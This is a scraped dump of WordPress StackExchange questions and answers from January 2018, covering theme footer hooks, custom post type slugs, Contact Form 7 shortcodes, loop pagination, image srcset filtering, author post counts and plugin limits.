* Hook - sornacommerce_site_footer_block.
*
* @hooked sornacommerce_site_footer_block - 10
*/
do_action('sornacommerce_site_footer_block');
?>
</code></pre>
<p></p>
<p>
</p>
<p>That's the part I think makes the footer (when I remove it the footer is removed). How can I insert my own links and stuff? Thanks in advance guys</p>
| [
{
"answer_id": 291733,
"author": "janh",
"author_id": 129206,
"author_profile": "https://wordpress.stackexchange.com/users/129206",
"pm_score": 0,
"selected": false,
"text": "<p>That's an action you can hook into, see also <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference... | 2018/01/21 | [
"https://wordpress.stackexchange.com/questions/291732",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135280/"
] | I've been trying to edit a footer.php file for the Wordpress eCommerce theme called SornaCommerce. There is a text that says "Proudly powered by WordPress | Theme: SornaCommerce by eDataStyle.". Instead of that I want to add some links and widgets.
The footer.php text says the following
```
</div>
```
```
<?php
/**
* Hook - sornacommerce_site_footer_block.
*
* @hooked sornacommerce_site_footer_block - 10
*/
do_action('sornacommerce_site_footer_block');
?>
```
That's the part I think makes the footer (when I remove it the footer is removed). How can I insert my own links and stuff? Thanks in advance guys | The original theme url here ( <https://wordpress.org/themes/sornacommerce/> )
The theme working by using WordPress hooks
You can update this file: `sornacommerce\inc\theme-hooks.php` on line 438 to 497
Otherwise remove the function on the hook like bellow:
```
remove_action( 'sornacommerce_site_footer_block', 'sornacommerce_site_footer_block' );
```
Then add new function to the same hook like bellow:
```
function wpse291732_footer() {
// your function
}
add_action("sornacommerce_site_footer_block", "wpse291732_footer");
```
Hope that will be okay ! |
291,735 | <p>I am working on a plugin that creates lists. After creating a list, I wanted to remove the slug from the url</p>
<p>Post type:</p>
<pre><code>$rewrite = [
'slug' => 'single-link',
'with_front' => false,
'pages' => false,
'feeds' => false,
];
$args = [
'label' => esc_html__( 'Single Link', 'single-link' ),
'labels' => $labels,
'supports' => [ 'title' ],
'hierarchical' => false,
'public' => true,
'show_ui' => true,
'show_in_menu' => true,
'menu_position' => 15,
'menu_icon' => 'dashicons-admin-links',
'show_in_admin_bar' => false,
'show_in_nav_menus' => true,
'can_export' => true,
'has_archive' => false,
'exclude_from_search' => true,
'publicly_queryable' => true,
'rewrite' => $rewrite,
'capability_type' => 'page',
'show_in_rest' => true,
];
$args = apply_filters( 'single-link/post_type/args', $args );
register_post_type( 'single-link', $args );
</code></pre>
<p>Remove the slug from the URL:</p>
<pre><code>function remove_cpt_slug( $post_link, $post, $leavename ) {
if ( 'single-link' != $post->post_type || 'publish' != $post->post_status ) {
return $post_link;
}
$post_link = str_replace( '/' . $post->post_type . '/', '/', $post_link );
return $post_link;
}
add_filter( 'post_type_link', 'remove_cpt_slug', 10, 3 );
function change_slug_struct( $query ) {
if ( ! $query->is_main_query() || 2 != count( $query->query ) || ! isset( $query->query['page'] ) ) {
return;
}
if ( ! empty( $query->query['name'] ) ) {
$query->set( 'post_type', array( 'post', 'single-link', 'page' ) );
}
}
add_action( 'pre_get_posts', 'change_slug_struct' );
</code></pre>
<p>(this code is from <a href="http://www.codeinhouse.com/remove-slug-from-custom-post-type-in-wordpress/" rel="nofollow noreferrer">here</a>)</p>
<p>Now after hitting publish, the slug /single-link/ gets deleted, but we always get a 404 when visiting the page. Changing/re-Saving the permalinks did not help. What am I doing wrong?</p>
| [
{
"answer_id": 291990,
"author": "luukvhoudt",
"author_id": 44637,
"author_profile": "https://wordpress.stackexchange.com/users/44637",
"pm_score": 2,
"selected": false,
"text": "<p>You have to alter the perma structure. By default your custom post type's post will only be found wenether... | 2018/01/21 | [
"https://wordpress.stackexchange.com/questions/291735",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135201/"
] | I am working on a plugin that creates lists. After creating a list, I wanted to remove the slug from the url
Post type:
```
$rewrite = [
'slug' => 'single-link',
'with_front' => false,
'pages' => false,
'feeds' => false,
];
$args = [
'label' => esc_html__( 'Single Link', 'single-link' ),
'labels' => $labels,
'supports' => [ 'title' ],
'hierarchical' => false,
'public' => true,
'show_ui' => true,
'show_in_menu' => true,
'menu_position' => 15,
'menu_icon' => 'dashicons-admin-links',
'show_in_admin_bar' => false,
'show_in_nav_menus' => true,
'can_export' => true,
'has_archive' => false,
'exclude_from_search' => true,
'publicly_queryable' => true,
'rewrite' => $rewrite,
'capability_type' => 'page',
'show_in_rest' => true,
];
$args = apply_filters( 'single-link/post_type/args', $args );
register_post_type( 'single-link', $args );
```
Remove the slug from the URL:
```
function remove_cpt_slug( $post_link, $post, $leavename ) {
if ( 'single-link' != $post->post_type || 'publish' != $post->post_status ) {
return $post_link;
}
$post_link = str_replace( '/' . $post->post_type . '/', '/', $post_link );
return $post_link;
}
add_filter( 'post_type_link', 'remove_cpt_slug', 10, 3 );
function change_slug_struct( $query ) {
if ( ! $query->is_main_query() || 2 != count( $query->query ) || ! isset( $query->query['page'] ) ) {
return;
}
if ( ! empty( $query->query['name'] ) ) {
$query->set( 'post_type', array( 'post', 'single-link', 'page' ) );
}
}
add_action( 'pre_get_posts', 'change_slug_struct' );
```
(this code is from [here](http://www.codeinhouse.com/remove-slug-from-custom-post-type-in-wordpress/))
Now after hitting publish, the slug /single-link/ gets deleted, but we always get a 404 when visiting the page. Changing/re-Saving the permalinks did not help. What am I doing wrong? | The registering of the custom post type and the permalink modification is OK. The problem is with the WordPress rewrite rules that more than likely will match the "cleaned up" URL of your simple links to pages and it will set the `pagename` query var not `name` as your `change_slug_struct()` function assumed.
So change the function to this to account for all cases:
```
function change_slug_struct( $query ) {
if ( ! $query->is_main_query() || 2 != count( $query->query ) || ! isset( $query->query['page'] ) ) {
return;
}
if ( ! empty( $query->query['name'] ) ) {
$query->set( 'post_type', array( 'post', 'single-link', 'page' ) );
} elseif ( ! empty( $query->query['pagename'] ) && false === strpos( $query->query['pagename'], '/' ) ) {
$query->set( 'post_type', array( 'post', 'single-link', 'page' ) );
// We also need to set the name query var since redirect_guess_404_permalink() relies on it.
$query->set( 'name', $query->query['pagename'] );
}
}
add_action( 'pre_get_posts', 'change_slug_struct' );
``` |
291,827 | <p>How can I add classes on the <code>echo</code> returns?</p>
<pre><code> <div class="author_sidebar">
<?php if ( is_singular( 'post' ) ) {
echo get_avatar( get_the_author_meta( 'user_email' ), 75 );
echo get_the_author_meta( 'display_name' );
?>
</div>
</code></pre>
<p>I managed to solve the problem by rapping the <code>echo</code> returns in <code>divs</code> this then allowed me to add <code>classes</code> into the <code>divs</code></p>
| [
{
"answer_id": 291820,
"author": "kero",
"author_id": 108180,
"author_profile": "https://wordpress.stackexchange.com/users/108180",
"pm_score": 2,
"selected": true,
"text": "<p>If your site and home URL are set to https, WordPress will redirect all requests made to it.</p>\n\n<p>Please c... | 2018/01/22 | [
"https://wordpress.stackexchange.com/questions/291827",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135332/"
] | How can I add classes on the `echo` returns?
```
<div class="author_sidebar">
<?php if ( is_singular( 'post' ) ) {
echo get_avatar( get_the_author_meta( 'user_email' ), 75 );
echo get_the_author_meta( 'display_name' );
?>
</div>
```
I managed to solve the problem by rapping the `echo` returns in `divs` this then allowed me to add `classes` into the `divs` | If your site and home URL are set to https, WordPress will redirect all requests made to it.
Please check under Settings -> General if this is the case. |
291,832 | <p>Have a look, please: <a href="http://www.heavyweightsoftware.com/blog" rel="nofollow noreferrer">http://www.heavyweightsoftware.com/blog</a> and click on Blog. You should see my article, How to Use Tabs with Angular 5. Now click on this article to view it and you should get an "Oops! Can't find that." page.</p>
<p>What's up with that?</p>
<p>It looks like something odd is going on with single quotes in the link, but what's putting them there?</p>
| [
{
"answer_id": 291833,
"author": "Cátia Rodrigues",
"author_id": 135334,
"author_profile": "https://wordpress.stackexchange.com/users/135334",
"pm_score": 3,
"selected": true,
"text": "<p>Have you tried to save the permalinks again?</p>\n\n<pre><code>Step 1: In the main menu find \"Setti... | 2018/01/22 | [
"https://wordpress.stackexchange.com/questions/291832",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/104795/"
] | Have a look, please: <http://www.heavyweightsoftware.com/blog> and click on Blog. You should see my article, How to Use Tabs with Angular 5. Now click on this article to view it and you should get an "Oops! Can't find that." page.
What's up with that?
It looks like something odd is going on with single quotes in the link, but what's putting them there? | Have you tried to save the permalinks again?
```
Step 1: In the main menu find "Settings > Permalinks".
Step 2: Scroll down if needed and click "Save Changes".
Step 3: Rewrite rules and permalinks are flushed.
``` |
291,855 | <p>I'm using Contact Form 7 in my wordpress installation. I need to somehow pass a hidden field with the current page url in the contact form hidden field. I tried their custom function and tried the short code, no luck. </p>
<pre><code>wpcf7_add_shortcode('sourceurl', 'wpcf7_sourceurl_shortcode_handler', true);
function wpcf7_sourceurl_shortcode_handler($tag) {
if (!is_array($tag)) return '';
$name = $tag['name'];
if (empty($name)) return '';
$html = '<input type="hidden" name="' . $name . '" value="http://' . $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"] . '" />';
return $html;
}
</code></pre>
<p>In the form edition I tried <code>[sourceurl thesource]</code></p>
| [
{
"answer_id": 291862,
"author": "mmm",
"author_id": 74311,
"author_profile": "https://wordpress.stackexchange.com/users/74311",
"pm_score": 2,
"selected": false,
"text": "<p>the form submit already send the container post then you just need to retrive it in and put it in the e-mail.<br>... | 2018/01/22 | [
"https://wordpress.stackexchange.com/questions/291855",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/90895/"
] | I'm using Contact Form 7 in my wordpress installation. I need to somehow pass a hidden field with the current page url in the contact form hidden field. I tried their custom function and tried the short code, no luck.
```
wpcf7_add_shortcode('sourceurl', 'wpcf7_sourceurl_shortcode_handler', true);
function wpcf7_sourceurl_shortcode_handler($tag) {
if (!is_array($tag)) return '';
$name = $tag['name'];
if (empty($name)) return '';
$html = '<input type="hidden" name="' . $name . '" value="http://' . $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"] . '" />';
return $html;
}
```
In the form edition I tried `[sourceurl thesource]` | See this example on how to create and parse the shortcode in the contact form 7 to use it add `[current_url]`
```
add_action( 'wpcf7_init', 'wpcf7_add_form_tag_current_url' );
function wpcf7_add_form_tag_current_url() {
// Add shortcode for the form [current_url]
wpcf7_add_form_tag( 'current_url',
'wpcf7_current_url_form_tag_handler',
array(
'name-attr' => true
)
);
}
// Parse the shortcode in the frontend
function wpcf7_current_url_form_tag_handler( $tag ) {
global $wp;
$url = home_url( $wp->request );
return '<input type="hidden" name="'.$tag['name'].'" value="'.$url.'" />';
}
```
Also if its all about to get the URL in the email you dont need all of this. there is a special tag for the email `[_url]` [CF7 Special mail tags](https://contactform7.com/special-mail-tags/) |
291,864 | <p>On the main blog page for a site I am developing, my designer has the first post styled uniquely and in a different section on the page than the rest. Since it is a paginated archive page, I need to loop through all posts on the paginated page just excluding the first post, as I will get that in it's own loop. </p>
<p>I tried the Offset option within the query, but learned that that kills pagination which won't work.</p>
<p>Thanks for the help.</p>
| [
{
"answer_id": 291883,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 0,
"selected": false,
"text": "<p>Following this step:</p>\n\n<p>Step 1: For different section you can display first Posts. when put th... | 2018/01/22 | [
"https://wordpress.stackexchange.com/questions/291864",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/67264/"
] | On the main blog page for a site I am developing, my designer has the first post styled uniquely and in a different section on the page than the rest. Since it is a paginated archive page, I need to loop through all posts on the paginated page just excluding the first post, as I will get that in it's own loop.
I tried the Offset option within the query, but learned that that kills pagination which won't work.
Thanks for the help. | You don't need separate queries, you can run multiple loops on the same query-
```
// output first post
if( have_posts() ){
the_post();
the_title();
}
// output the rest of the posts...
if( have_posts() ){
while( have_posts() ){
the_post();
the_title();
}
}
```
You can also use `rewind_posts()` to reset the current post back to 0, as well as manually set `$wp_query->current_post` to whatever index you want and start the loop there (note: the post counter starts at 0, not 1).
If you only want to style the first post on the first page and not subsequent pages, you can check if it's **not** paged with `! is_paged()`
```
if( ! is_paged() ){
echo 'this will only output on the first page';
if( have_posts() ){
the_post();
the_title();
}
}
``` |
291,872 | <p>I have a project going on and this is the first time I've encountered CSV. I've read numerous post but haven't found what I need.</p>
<p>So we have and CSV with values like this</p>
<pre><code>Name,Country,Color,Pet
David,UK,Red,Dog
Andy,USA,Blue,Cat,Dog,Fish
...
</code></pre>
<p>So sometimes there are multiple values on "Pet", and that's how clients software outputs CSV and we can't change it.
I am looking for solution on how to combine columns after nth column. So for an example, after 6th column I need ti combine all columns in row to 7th.</p>
<p>Is that possible to achieve?</p>
<p>I would paste the code I'm working on but it's sample I've found online using fgetcsv function and outputing table.</p>
<p>Also, is it possible to read rows instead of columns like it renders it?</p>
<p>Anyone who helps out will do HUGE favor!</p>
| [
{
"answer_id": 291883,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 0,
"selected": false,
"text": "<p>Following this step:</p>\n\n<p>Step 1: For different section you can display first Posts. when put th... | 2018/01/22 | [
"https://wordpress.stackexchange.com/questions/291872",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/74294/"
] | I have a project going on and this is the first time I've encountered CSV. I've read numerous post but haven't found what I need.
So we have and CSV with values like this
```
Name,Country,Color,Pet
David,UK,Red,Dog
Andy,USA,Blue,Cat,Dog,Fish
...
```
So sometimes there are multiple values on "Pet", and that's how clients software outputs CSV and we can't change it.
I am looking for solution on how to combine columns after nth column. So for an example, after 6th column I need ti combine all columns in row to 7th.
Is that possible to achieve?
I would paste the code I'm working on but it's sample I've found online using fgetcsv function and outputing table.
Also, is it possible to read rows instead of columns like it renders it?
Anyone who helps out will do HUGE favor! | You don't need separate queries, you can run multiple loops on the same query-
```
// output first post
if( have_posts() ){
the_post();
the_title();
}
// output the rest of the posts...
if( have_posts() ){
while( have_posts() ){
the_post();
the_title();
}
}
```
You can also use `rewind_posts()` to reset the current post back to 0, as well as manually set `$wp_query->current_post` to whatever index you want and start the loop there (note: the post counter starts at 0, not 1).
If you only want to style the first post on the first page and not subsequent pages, you can check if it's **not** paged with `! is_paged()`
```
if( ! is_paged() ){
echo 'this will only output on the first page';
if( have_posts() ){
the_post();
the_title();
}
}
``` |
291,878 | <p>EDIT: This shortcode is meant to be used and valid on any WP page. // Thanks Jacob for the note.</p>
<p>I am trying to display a sidebar inside a shortcode.</p>
<p>However, the result of the shortcode, jumps out from the wrapping element (div) in which I am trying to display it.</p>
<p>The red rectangle in screenshots illustrates the problem.</p>
<p>The shortcode source code:</p>
<pre><code><?php
/*** Featured (1 post + sidebar) ***/
function blog_loop_feat( $atts ) {
extract( shortcode_atts( array(), $atts ) );
echo '<div class="clear"></div>';
$args = array();
$splendid_query = new WP_Query( $args );
$output = '<div class="row">';// Row Open
while ( $splendid_query->have_posts() ) : $splendid_query->the_post();
'<div class="col-md-8 grid-entry-wrapper"> <!-- grid-entry-wrapper open -->
<!-- BLOG LOOP -->
</div><!-- grid-entry-wrapper close -->';
endwhile;
wp_reset_query();
$output .= '<div class="col-md-4">';
if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar("Featured sidebar") ) :
endif;
$output .= '</div></div>'; // Row Close
return $output;
}
add_shortcode('blog_loop_feat', 'blog_loop_feat');
</code></pre>
<p>And functions.php snippet:</p>
<pre><code>if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Featured sidebar',
'before_widget' => '<div class = "widgetizedArea">',
'meta' => 'feat_widget',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
</code></pre>
<p>The HTML output:
<a href="https://i.stack.imgur.com/msLKr.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/msLKr.jpg" alt="enter image description here"></a></p>
<p>Illustrations:
<a href="https://i.stack.imgur.com/XCoTI.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XCoTI.jpg" alt="enter image description here"></a>
<a href="https://i.stack.imgur.com/3Mpvf.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3Mpvf.jpg" alt="enter image description here"></a></p>
| [
{
"answer_id": 291880,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 3,
"selected": true,
"text": "<p>You're using a mix of echoing and returning. </p>\n\n<p>Here you're starting by echoing:</p>\n\n<pre><co... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291878",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103078/"
] | EDIT: This shortcode is meant to be used and valid on any WP page. // Thanks Jacob for the note.
I am trying to display a sidebar inside a shortcode.
However, the result of the shortcode, jumps out from the wrapping element (div) in which I am trying to display it.
The red rectangle in screenshots illustrates the problem.
The shortcode source code:
```
<?php
/*** Featured (1 post + sidebar) ***/
function blog_loop_feat( $atts ) {
extract( shortcode_atts( array(), $atts ) );
echo '<div class="clear"></div>';
$args = array();
$splendid_query = new WP_Query( $args );
$output = '<div class="row">';// Row Open
while ( $splendid_query->have_posts() ) : $splendid_query->the_post();
'<div class="col-md-8 grid-entry-wrapper"> <!-- grid-entry-wrapper open -->
<!-- BLOG LOOP -->
</div><!-- grid-entry-wrapper close -->';
endwhile;
wp_reset_query();
$output .= '<div class="col-md-4">';
if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar("Featured sidebar") ) :
endif;
$output .= '</div></div>'; // Row Close
return $output;
}
add_shortcode('blog_loop_feat', 'blog_loop_feat');
```
And functions.php snippet:
```
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Featured sidebar',
'before_widget' => '<div class = "widgetizedArea">',
'meta' => 'feat_widget',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
```
The HTML output:
[](https://i.stack.imgur.com/msLKr.jpg)
Illustrations:
[](https://i.stack.imgur.com/XCoTI.jpg)
[](https://i.stack.imgur.com/3Mpvf.jpg) | You're using a mix of echoing and returning.
Here you're starting by echoing:
```
echo '<div class="clear"></div>';
```
Here you're putting the output into a variable (correctly):
```
$output = '<div class="row">';
```
And here you're just writing the content in quotes without echoing or assigning to a variable:
```
'<div class="col-md-8 grid-entry-wrapper"> <!-- grid-entry-wrapper open -->
<!-- BLOG LOOP -->
</div><!-- grid-entry-wrapper close -->';
```
Shortcodes need to `return` the entirety of their output. So you either need to build up a variable like the second example all the way through, or use output buffering to 'capture' the output to return later.
Here's an example of what you're doing but using output buffering:
```
function blog_loop_feat( $atts ) {
$args = array();
$splendid_query = new WP_Query( $args );
ob_start();
?>
<div class="clear"></div>
<div class="row">
<?php while ( $splendid_query->have_posts() ) : $splendid_query->the_post(); ?>
<div class="col-md-8 grid-entry-wrapper"> <!-- grid-entry-wrapper open -->
<!-- BLOG LOOP -->
</div><!-- grid-entry-wrapper close -->
<?php endwhile; wp_reset_query(); ?>
<div class="col-md-4">
<?php if ( ! function_exists('dynamic_sidebar') || ! dynamic_sidebar("Featured sidebar") ) : endif; ?>
</div>
</div>
<?php
return ob_get_clean();
}
add_shortcode( 'blog_loop_feat', 'blog_loop_feat' );
```
`ob_start()` starts capturing the output, and `ob_get_clean()` gets the captured output, which in this example is returned at the end of the function. |
291,895 | <p>Wordpress srcset is a great feature but there are occasions when it's important to control exactly which image sizes are included in the srcset code.</p>
<p>For example, on one of our sites we generate a custom image size which is ONLY intended for external use - this means an external sales portal collects this image automatically for display on their site. It is NOT intended for display anywhere on our site.</p>
<p>However, the Wordpress srcset functionality currently includes ALL image sizes. For example:</p>
<pre><code><img width="350" height="426" src="https://xxx/wp-content/uploads/omega-pink-gold-1235-1-350x426.jpg" class="attachment-shop_catalog size-shop_catalog" alt="xxx" srcset="https://xxx/.../omega-pink-gold-1235-1-350x426.jpg 350w, https://xxx/.../omega-pink-gold-1235-1-246x300.jpg 246w, https://xxx/.../omega-pink-gold-1235-1-768x935.jpg 768w, https://xxx/.../omega-pink-gold-1235-1-841x1024.jpg 841w, https://xxx/.../omega-pink-gold-1235-1-1051x1280.jpg 1051w, https://xxx/.../omega-pink-gold-1235-1-534x650.jpg 534w, https://xxx/.../omega-pink-gold-1235-1-104x127.jpg 104w, https://xxx/.../omega-pink-gold-1235-1-595x725.jpg 595w, https://xxx/.../omega-pink-gold-1235-1-680x828.jpg 680w" sizes="(max-width: 350px) 100vw, 350px" title="xxx">
</code></pre>
<p>How can we control this better?</p>
<p>Thanks in advance for any help!</p>
| [
{
"answer_id": 291906,
"author": "Andrew",
"author_id": 50767,
"author_profile": "https://wordpress.stackexchange.com/users/50767",
"pm_score": -1,
"selected": false,
"text": "<p>WordPress adds scrset attributes via a filter attached the the <code>the_content</code> hook.</p>\n\n<p><code... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291895",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/84924/"
] | Wordpress srcset is a great feature but there are occasions when it's important to control exactly which image sizes are included in the srcset code.
For example, on one of our sites we generate a custom image size which is ONLY intended for external use - this means an external sales portal collects this image automatically for display on their site. It is NOT intended for display anywhere on our site.
However, the Wordpress srcset functionality currently includes ALL image sizes. For example:
```
<img width="350" height="426" src="https://xxx/wp-content/uploads/omega-pink-gold-1235-1-350x426.jpg" class="attachment-shop_catalog size-shop_catalog" alt="xxx" srcset="https://xxx/.../omega-pink-gold-1235-1-350x426.jpg 350w, https://xxx/.../omega-pink-gold-1235-1-246x300.jpg 246w, https://xxx/.../omega-pink-gold-1235-1-768x935.jpg 768w, https://xxx/.../omega-pink-gold-1235-1-841x1024.jpg 841w, https://xxx/.../omega-pink-gold-1235-1-1051x1280.jpg 1051w, https://xxx/.../omega-pink-gold-1235-1-534x650.jpg 534w, https://xxx/.../omega-pink-gold-1235-1-104x127.jpg 104w, https://xxx/.../omega-pink-gold-1235-1-595x725.jpg 595w, https://xxx/.../omega-pink-gold-1235-1-680x828.jpg 680w" sizes="(max-width: 350px) 100vw, 350px" title="xxx">
```
How can we control this better?
Thanks in advance for any help! | WordPress allows you to hook into `wp_calculate_image_srcset`
[See Core file on Trac](https://core.trac.wordpress.org/browser/tags/4.9/src/wp-includes/media.php#L1203)
This filter gives you 5 arguments:
* **$sources** One or more arrays of source data to include in the 'srcset'
* **$size\_array** Array of width and height values in pixels (in that order).
* **$image\_src** The 'src' of the image.
* **$image\_meta** The image meta data as returned by 'wp\_get\_attachment\_metadata()
* **$attachment\_id** the post\_id from the image
Here is a sample code you can use within your themes `function.php` or plugin files to get started:
```
add_filter( 'wp_calculate_image_srcset', 'my_custom_image_srcset', 10, 5);
function my_custom_image_srcset($sources, $size_array, $image_src, $image_meta, $attachment_id) {
// The following code is an adaption from wp-includes/media.php:1061-1180
$image_sizes = $image_meta['sizes'];
// Get the width and height of the image.
$image_width = (int) $size_array[0];
$image_height = (int) $size_array[1];
$image_basename = wp_basename( $image_meta['file'] );
/*
* WordPress flattens animated GIFs into one frame when generating intermediate sizes.
* To avoid hiding animation in user content, if src is a full size GIF, a srcset attribute is not generated.
* If src is an intermediate size GIF, the full size is excluded from srcset to keep a flattened GIF from becoming animated.
*/
if ( ! isset( $image_sizes['thumbnail']['mime-type'] ) || 'image/gif' !== $image_sizes['thumbnail']['mime-type'] ) {
$image_sizes[] = array(
'width' => $image_meta['width'],
'height' => $image_meta['height'],
'file' => $image_basename,
);
} elseif ( strpos( $image_src, $image_meta['file'] ) ) {
return false;
}
// Retrieve the uploads sub-directory from the full size image.
$dirname = _wp_get_attachment_relative_path( $image_meta['file'] );
if ( $dirname ) {
$dirname = trailingslashit( $dirname );
}
$upload_dir = wp_get_upload_dir();
$image_baseurl = trailingslashit( $upload_dir['baseurl'] ) . $dirname;
/*
* If currently on HTTPS, prefer HTTPS URLs when we know they're supported by the domain
* (which is to say, when they share the domain name of the current request).
*/
if ( is_ssl() && 'https' !== substr( $image_baseurl, 0, 5 ) && parse_url( $image_baseurl, PHP_URL_HOST ) === $_SERVER['HTTP_HOST'] ) {
$image_baseurl = set_url_scheme( $image_baseurl, 'https' );
}
/*
* Images that have been edited in WordPress after being uploaded will
* contain a unique hash. Look for that hash and use it later to filter
* out images that are leftovers from previous versions.
*/
$image_edited = preg_match( '/-e[0-9]{13}/', wp_basename( $image_src ), $image_edit_hash );
/**
* Filters the maximum image width to be included in a 'srcset' attribute.
*
* @since 4.4.0
*
* @param int $max_width The maximum image width to be included in the 'srcset'. Default '1600'.
* @param array $size_array Array of width and height values in pixels (in that order).
*/
$max_srcset_image_width = apply_filters( 'max_srcset_image_width', 1600, $size_array );
// Array to hold URL candidates.
$sources = array();
/**
* To make sure the ID matches our image src, we will check to see if any sizes in our attachment
* meta match our $image_src. If no matches are found we don't return a srcset to avoid serving
* an incorrect image. See #35045.
*/
$src_matched = false;
/*
* Loop through available images. Only use images that are resized
* versions of the same edit.
*/
foreach ( $image_sizes as $identifier => $image ) {
// Continue if identifier is unwanted
if ($identifier === 'unwanted-identifier') {
continue;
}
$is_src = false;
// Check if image meta isn't corrupted.
if ( ! is_array( $image ) ) {
continue;
}
// If the file name is part of the `src`, we've confirmed a match.
if ( ! $src_matched && false !== strpos( $image_src, $dirname . $image['file'] ) ) {
$src_matched = $is_src = true;
}
// Filter out images that are from previous edits.
if ( $image_edited && ! strpos( $image['file'], $image_edit_hash[0] ) ) {
continue;
}
/*
* Filters out images that are wider than '$max_srcset_image_width' unless
* that file is in the 'src' attribute.
*/
if ( $max_srcset_image_width && $image['width'] > $max_srcset_image_width && ! $is_src ) {
continue;
}
// If the image dimensions are within 1px of the expected size, use it.
if ( wp_image_matches_ratio( $image_width, $image_height, $image['width'], $image['height'] ) ) {
// Add the URL, descriptor, and value to the sources array to be returned.
$source = array(
'url' => $image_baseurl . $image['file'],
'descriptor' => 'w',
'value' => $image['width'],
);
// The 'src' image has to be the first in the 'srcset', because of a bug in iOS8. See #35030.
if ( $is_src ) {
$sources = array( $image['width'] => $source ) + $sources;
} else {
$sources[ $image['width'] ] = $source;
}
}
}
return $sources;
}
``` |
291,930 | <p>I need to get the author information, who having maximum number of post(custom post type).</p>
<p>Here is the code I tried to get the result.</p>
<pre><code> $author_query = new WP_User_Query(array (
'orderby' => 'post_count',
'order' => 'DESC',
));
$authors = $author_query->get_results();
foreach ( $authors as $author ) {
echo $author->ID;
echo $author->display_name;
}
</code></pre>
<p>The result is getting as post-count of normal posts. Here I have custom post type instead of default post. I need to get the result based on my custom post type's post count..</p>
| [
{
"answer_id": 291940,
"author": "Philip Downer",
"author_id": 947,
"author_profile": "https://wordpress.stackexchange.com/users/947",
"pm_score": 1,
"selected": false,
"text": "<p>Because the post_count attribute in the users table includes the total number of posts for the user and is ... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291930",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/99307/"
] | I need to get the author information, who having maximum number of post(custom post type).
Here is the code I tried to get the result.
```
$author_query = new WP_User_Query(array (
'orderby' => 'post_count',
'order' => 'DESC',
));
$authors = $author_query->get_results();
foreach ( $authors as $author ) {
echo $author->ID;
echo $author->display_name;
}
```
The result is getting as post-count of normal posts. Here I have custom post type instead of default post. I need to get the result based on my custom post type's post count.. | You can try with the following query, where the author data as well as the post count can be retrieved.
```
$sql = "SELECT SQL_CALC_FOUND_ROWS wp_users.ID,post_count FROM wp_users RIGHT JOIN (SELECT post_author, COUNT(*) as post_count FROM wp_posts WHERE ( ( post_type = 'custom-post-type' AND ( post_status = 'publish' ) ) ) GROUP BY post_author) p ON (wp_users.ID = p.post_author) WHERE 1=1 ORDER BY post_count DESC";
$result = $wpdb->get_results($sql,OBJECT);
print_r($result);
``` |
291,931 | <p>I need to add a string in front of the following php code, what Is the best method of doing this?</p>
<pre><code><?php echo human_time_diff( get_the_time('U') ) . __(' ago', 'yourlanguageslug'); ?><br/>
</code></pre>
| [
{
"answer_id": 291940,
"author": "Philip Downer",
"author_id": 947,
"author_profile": "https://wordpress.stackexchange.com/users/947",
"pm_score": 1,
"selected": false,
"text": "<p>Because the post_count attribute in the users table includes the total number of posts for the user and is ... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291931",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/135332/"
] | I need to add a string in front of the following php code, what Is the best method of doing this?
```
<?php echo human_time_diff( get_the_time('U') ) . __(' ago', 'yourlanguageslug'); ?><br/>
``` | You can try with the following query, where the author data as well as the post count can be retrieved.
```
$sql = "SELECT SQL_CALC_FOUND_ROWS wp_users.ID,post_count FROM wp_users RIGHT JOIN (SELECT post_author, COUNT(*) as post_count FROM wp_posts WHERE ( ( post_type = 'custom-post-type' AND ( post_status = 'publish' ) ) ) GROUP BY post_author) p ON (wp_users.ID = p.post_author) WHERE 1=1 ORDER BY post_count DESC";
$result = $wpdb->get_results($sql,OBJECT);
print_r($result);
``` |
291,964 | <p>I know that is not the number of plugins, it's the quality. But anyway, I want to limit the number of plugins that can be installed on a WordPress installation. Any ideas?</p>
<p>It doesn't matter if the limit applies to all admins including me.</p>
| [
{
"answer_id": 291977,
"author": "iantsch",
"author_id": 90220,
"author_profile": "https://wordpress.stackexchange.com/users/90220",
"pm_score": 1,
"selected": false,
"text": "<p>There are a few possible solutions you can investigate further to limit the possibility to install plugins. <... | 2018/01/23 | [
"https://wordpress.stackexchange.com/questions/291964",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/25552/"
] | I know that is not the number of plugins, it's the quality. But anyway, I want to limit the number of plugins that can be installed on a WordPress installation. Any ideas?
